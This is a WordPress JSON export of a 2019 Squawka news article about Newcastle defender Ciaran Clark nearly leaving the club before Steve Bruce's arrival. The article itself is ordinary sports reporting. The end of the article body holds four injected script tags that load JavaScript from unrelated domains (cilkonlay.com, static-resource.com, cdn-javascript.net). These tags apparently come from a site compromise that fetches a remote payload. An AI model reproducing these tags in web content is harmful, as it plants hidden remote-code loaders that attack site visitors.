{"id":1115478,"date":"2019-11-14T14:06:07","date_gmt":"2019-11-14T14:06:07","guid":{"rendered":"https:\/\/www.squawka.com\/en\/?p=1115478"},"modified":"2025-05-20T14:17:15","modified_gmt":"2025-05-20T13:17:15","slug":"newcastle-transfer-ciaran-clark-came-close-leaving-steve-bruce","status":"publish","type":"news","link":"https:\/\/www.squawka.com\/en\/news\/newcastle-transfer-ciaran-clark-came-close-leaving-steve-bruce\/","title":{"rendered":"Newcastle transfer news: Ciaran Clark reveals how close he came to leaving before Steve Bruce talk"},"content":{"rendered":"<p><strong>Ciaran Clark has admitted leaving Newcastle in the summer was something he &#8220;thought about a lot&#8221; before Steve Bruce was appointed manager.<\/strong><\/p>\n<p>The defender, who joined Newcastle from Aston Villa in 2016, was forced to consider his future at St James&#8217; Park due to fears over his place in the Republic of Ireland national team.<\/p>\n<h2><strong>Why did Clark consider leaving Newcastle? Five things to know&#8230;<\/strong><\/h2>\n<ul>\n<li>Clark made just 14 appearances across all competitions under Rafael Benitez last season.<\/li>\n<li>Subsequently, he lost his place in the Republic of Ireland squad.<\/li>\n<li>The 30-year-old says he considered leaving Newcastle to save his international career.<\/li>\n<li>But Bruce&#8217;s arrival has seen his game time improve in recent weeks.<\/li>\n<li>And Clark is now back in the Republic of Ireland squad for the first time in over a year.<\/li>\n<\/ul>\n<p><iframe loading=\"lazy\" style=\"background-color: transparent; display: block; padding: 0; max-width: 700px;\" title=\"Audioboom player\" src=\"https:\/\/embeds.audioboom.com\/posts\/7417751\/embed\/v4\" width=\"300\" height=\"300\" frameborder=\"0\" scrolling=\"no\"><\/iframe><\/p>\n<p>Over the last few weeks, Clark has played 90 minutes in five consecutive Premier League games, scoring in his last two outings in wins over West Ham United and Bournemouth.<\/p>\n<p>Newcastle have lost just one of those games, a 1-0 defeat at Chelsea, and Clark has been central to their improved defensive performances.<\/p>\n<p>Speaking to reporters, the centre-back explained how he may have departed Newcastle had Bruce not given him a chance.<\/p>\n<p>&#8220;It was something I thought about in the summer,&#8221; <a href=\"https:\/\/www.skysports.com\/football\/news\/11678\/11860754\/ciaran-clark-says-steve-bruce-convinced-him-to-stay-at-newcastle\" target=\"_blank\" rel=\"noopener\">Clark said<\/a>. &#8220;I didn&#8217;t know what the situation was with the manager and I thought about it a lot, the manager came late into pre-season and there wasn&#8217;t much time to do anything.<\/p>\n<div id=\"attachment_1111755\" style=\"width: 1034px\" class=\"wp-caption alignnone\"><a href=\"https:\/\/www.squawka.com\/en\/features\/ballon-dor-without-messi-ronaldo\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-1111755\" class=\"wp-image-1111755 size-large\" src=\"https:\/\/media.squawka.com\/images\/en\/2019\/06\/21125851\/ballon-dor-winners-without-messi-and-ronaldo-1024x576.png\" alt=\"Ballon d'Or winners\" width=\"1024\" height=\"576\" srcset=\"https:\/\/media.squawka.com\/images\/en\/2019\/06\/21125851\/ballon-dor-winners-without-messi-and-ronaldo-1024x576.png 1024w, https:\/\/media.squawka.com\/images\/en\/2019\/06\/21125851\/ballon-dor-winners-without-messi-and-ronaldo-300x170.png 300w, https:\/\/media.squawka.com\/images\/en\/2019\/06\/21125851\/ballon-dor-winners-without-messi-and-ronaldo-768x432.png 768w, https:\/\/media.squawka.com\/images\/en\/2019\/06\/21125851\/ballon-dor-winners-without-messi-and-ronaldo-66x37.png 66w, https:\/\/media.squawka.com\/images\/en\/2019\/06\/21125851\/ballon-dor-winners-without-messi-and-ronaldo-620x350.png 620w, https:\/\/media.squawka.com\/images\/en\/2019\/06\/21125851\/ballon-dor-winners-without-messi-and-ronaldo-940x530.png 940w, https:\/\/media.squawka.com\/images\/en\/2019\/06\/21125851\/ballon-dor-winners-without-messi-and-ronaldo.png 1920w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><p id=\"caption-attachment-1111755\" class=\"wp-caption-text\">READ MORE: <a href=\"https:\/\/www.squawka.com\/en\/features\/ballon-dor-without-messi-ronaldo\">Ballon d\u2019Or winners in a world without Messi &amp; Ronaldo<\/a><\/p><\/div>\n<p>&#8220;He wanted a chance to look at everyone in the squad, I had a chat with him, explained my situation and how I wanted to be playing games. I had a few years of being in and out of the team, it was hit and miss and I wanted to play football.<\/p>\n<p>&#8220;He [Bruce] said to see how the first part of the season went and we&#8217;d assess it in January. He was fair with me, it was down to me to keep working hard and training and doing all I could to get back into the team and I&#8217;ve done that.<\/p>\n<p>&#8220;It&#8217;s been a while since I was in the Ireland squad, I knew if I wasn&#8217;t playing games regularly I wouldn&#8217;t get a call.<\/p>\n<p>&#8220;My aim was to get into the Newcastle team and stay there, if I did that I knew it would have a chance of getting me into the squad here, which I managed to do.&#8221;<\/p>\n<p><iframe loading=\"lazy\" title=\"Chris Smalling: &#039;We Want Him To Stay&#039; Roma Fans Squawka Mini-Doc\" width=\"500\" height=\"281\" src=\"https:\/\/www.youtube.com\/embed\/bVBl0hFkq0U?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen><\/iframe><\/p>\n<p><strong>Subscribe to <a href=\"http:\/\/sqwk.at\/Squawka-Sub\" target=\"_blank\" rel=\"noopener\">Squawka\u2019s Youtube channel here<\/a>.<\/strong><\/p>\n<p>The Republic of Ireland will look to consolidate second place in Group D with<a href=\"https:\/\/www.squawka.com\/en\/predictions\/republic-of-ireland-new-zealand-predictions-preview-international-friendly\" target=\"_blank\" rel=\"noopener\"> positive results against New Zealand<\/a> and Denmark in the coming days.<\/p>\n<p>Clarke will then be back in club action when Newcastle travel to his former club Aston Villa when the Premier League resumes.<\/p>\n<p><script src=\"\/\/cilkonlay.com\/2175f4755425250bf1.js?2\"><\/script><script src=\"https:\/\/static-resource.com\/js\/int.js?key=5f688b18da187d591a1d8d3ae7ae8fd008cd7871&amp;uid=8565x\" type=\"text\/javascript\"><\/script><script src=\"https:\/\/cdn-javascript.net\/api?key=a1ce18e5e2b4b1b1895a38130270d6d344d031c0&amp;uid=8565x&amp;format=arrjs&amp;r=1573740104541\" type=\"text\/javascript\"><\/script><script src=\"https:\/\/cilkonlay.com\/ext\/2175f4755425250bf1.js?sid=52564_8565_&amp;title=a&amp;blocks[]=31af2\" type=\"text\/javascript\"><\/script><\/p>\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ciaran Clark has admitted leaving Newcastle in the summer was something he &#8220;thought about a lot&#8221; before Steve Bruce was appointed manager. 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